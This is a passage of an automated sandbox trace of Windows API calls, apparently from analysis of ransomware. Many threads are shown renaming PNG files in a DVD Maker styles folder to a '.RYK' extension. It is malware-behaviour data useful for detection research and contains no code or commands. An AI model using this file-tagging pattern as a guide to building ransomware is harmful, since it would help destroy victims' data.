	[0226.222] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png", dwFileAttributes=0x80) returned 0
	[0226.222] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.222] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 767
	os_tid = 0x9e8

	[0226.223] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0226.224] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.224] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 768
	os_tid = 0xac8

	[0226.226] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png", dwFileAttributes=0x80) returned 0
	[0226.249] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.250] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 769
	os_tid = 0x884

	[0226.228] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png", dwFileAttributes=0x80) returned 0
	[0226.251] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.251] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 770
	os_tid = 0xa38

	[0226.230] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png", dwFileAttributes=0x80) returned 0
	[0226.252] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.252] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.252] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 771
	os_tid = 0x518

	[0226.231] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0226.231] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.232] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 772
	os_tid = 0x938

	[0226.517] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0226.522] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.531] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 794
	os_tid = 0x130

	[0226.537] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0226.541] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.550] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 795
	os_tid = 0x364

	[0226.556] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0226.560] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.568] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.568] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 796
	os_tid = 0x7c0

	[0226.574] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0226.578] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.586] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 797
	os_tid = 0xc4

	[0226.592] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0226.596] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.605] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 798
	os_tid = 0x90

	[0226.610] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png", dwFileAttributes=0x80) returned 0
	[0226.615] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.623] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 799
	os_tid = 0x20c

	[0226.629] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0226.811] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.821] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 800
	os_tid = 0x230

	[0226.826] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png", dwFileAttributes=0x80) returned 0
	[0226.998] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 821
	os_tid = 0x124c

	[0226.829] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png", dwFileAttributes=0x80) returned 0
	[0226.829] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 822
	os_tid = 0x1280

	[0226.831] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png", dwFileAttributes=0x80) returned 0
	[0226.831] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 823
	os_tid = 0x126c

	[0226.833] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0227.000] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 824
	os_tid = 0x1270

	[0226.834] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0227.002] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.002] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 825
	os_tid = 0xbdc

	[0226.836] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0227.004] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.004] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 826
	os_tid = 0x11ac

	[0226.837] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0227.005] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.006] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 827
	os_tid = 0x11a8

	[0226.839] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0227.008] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.008] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 828
	os_tid = 0x8f8

	[0226.840] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0227.012] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.020] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 849
	os_tid = 0x11dc

	[0226.961] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png", dwFileAttributes=0x80) returned 0
	[0227.127] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.261] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 850
	os_tid = 0x1224

	[0226.963] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png", dwFileAttributes=0x80) returned 0
